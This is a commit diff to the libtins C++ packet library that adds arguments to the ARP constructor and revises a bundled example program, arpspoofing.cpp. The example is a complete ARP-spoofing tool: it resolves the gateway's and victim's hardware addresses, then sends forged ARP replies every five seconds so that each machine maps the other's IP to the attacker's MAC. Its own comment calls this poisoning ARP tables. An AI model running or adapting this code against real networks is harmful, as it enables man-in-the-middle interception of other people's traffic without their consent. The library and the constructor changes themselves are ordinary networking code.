Added some arguments to ARP::ARP.

examples/arpspoofing.cpp

@@ -1,3 +1,25 @@
+/*
+ * libtins is a net packet wrapper library for crafting and
+ * interpreting sniffed packets.
+ *
+ * Copyright (C) 2011 Nasel
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+
 #include <iostream>
 #include <string>
 #include <stdint.h>
@@ -13,37 +35,40 @@ using namespace Tins;
 int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) {
     PacketSender sender;
     uint8_t gw_hw[6], victim_hw[6];
+    
+    // Resolves gateway's hardware address.
     if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) {
         cout << "Could not resolve gateway's ip address.\n";
         return 5;
     }
+    
+    // Resolves victim's hardware address.
     if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) {
         cout << "Could not resolve victim's ip address.\n";
         return 6;
     }
-    cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
-    cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n";
-    cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n";
+    cout << " Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
+    cout << " Using victim hw address:  " << Utils::hwaddr_to_string(victim_hw) << "\n";
+    cout << " Using own hw address:     " << Utils::hwaddr_to_string(own_hw) << "\n";
     
-                
-    ARP *gw_arp = new ARP(), *victim_arp = new ARP();
-    gw_arp->sender_hw_addr(own_hw);
-    gw_arp->target_hw_addr(gw_hw);
-    gw_arp->sender_ip_addr(victim);
-    gw_arp->target_ip_addr(gw);
+    /* We tell the gateway that the victim is at out hw address,
+     * and tell the victim that the gateway is at out hw address */
+    ARP *gw_arp = new ARP(gw, victim, gw_hw, own_hw), 
+        *victim_arp = new ARP(victim, gw, victim_hw, own_hw);
+    // We are "replying" ARP requests
     gw_arp->opcode(ARP::REPLY);
-    
-    victim_arp->sender_hw_addr(own_hw);
-    victim_arp->target_hw_addr(victim_hw);
-    victim_arp->sender_ip_addr(gw);
-    victim_arp->target_ip_addr(victim);
     victim_arp->opcode(ARP::REPLY);
     
+    /* The packet we'll send to the gateway and victim. 
+     * We include ut hw address as the source address
+     * in ethernet layer, to avoid possible packet dropping
+     * performed by any routers. */
     EthernetII to_gw(iface, gw_hw, own_hw, gw_arp);
     EthernetII to_victim(iface, victim_hw, own_hw, victim_arp);
     while(true) {
-        sender.send(&to_gw);
-        sender.send(&to_victim);
+        // Just send them once every 5 seconds.
+        if(!sender.send(&to_gw) || !sender.send(&to_victim))
+            return 7;
         sleep(5);
     }
 }
@@ -53,8 +78,10 @@ int main(int argc, char *argv[]) {
         return 1;
     uint32_t gw, victim, own_ip;
     uint8_t own_hw[6];
+    // By default, eth0 is used.
     string iface("eth0");
     try {
+        // Convert dotted-notation ip addresses to integer. 
         gw     = Utils::ip_to_int(argv[1]);
         victim = Utils::ip_to_int(argv[2]);
     }
@@ -66,14 +93,15 @@ int main(int argc, char *argv[]) {
         iface = argv[3];
         
     uint32_t iface_index;
+    // Lookup the interface id. This will be required while forging packets.
     if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n")
         return 3;
+    // Find the interface hardware and ip address.
     if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) {
         cout << "Error fetching addresses from " << iface << "\n";
         return 4;
     }
-    
-        
+    // Poison ARP tables :D
     return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw);
 }
 

include/arp.h

@@ -50,7 +50,7 @@ namespace Tins {
          * ARP requests and replies can be constructed easily using
          * ARP::make_arp_request/reply static functions.
          */
-        ARP();
+        ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0);
 
         /* Getters */
         /**

src/arp.cpp

@@ -89,12 +89,18 @@ Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
     return eth;
 }
 
-Tins::ARP::ARP() : PDU(0x0608) {
+Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) {
     std::memset(&_arp, 0, sizeof(arphdr));
-    this->hw_addr_format(1);
-    this->prot_addr_format(0x0800);
-    this->hw_addr_length(6);
-    this->prot_addr_length(4);
+    hw_addr_format(1);
+    prot_addr_format(0x0800);
+    hw_addr_length(6);
+    prot_addr_length(4);
+    sender_ip_addr(sender_ip);
+    target_ip_addr(target_ip);
+    if(sender_hw)
+        sender_hw_addr(sender_hw);
+    if(target_hw)
+        target_hw_addr(target_hw);
 }
 
 Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {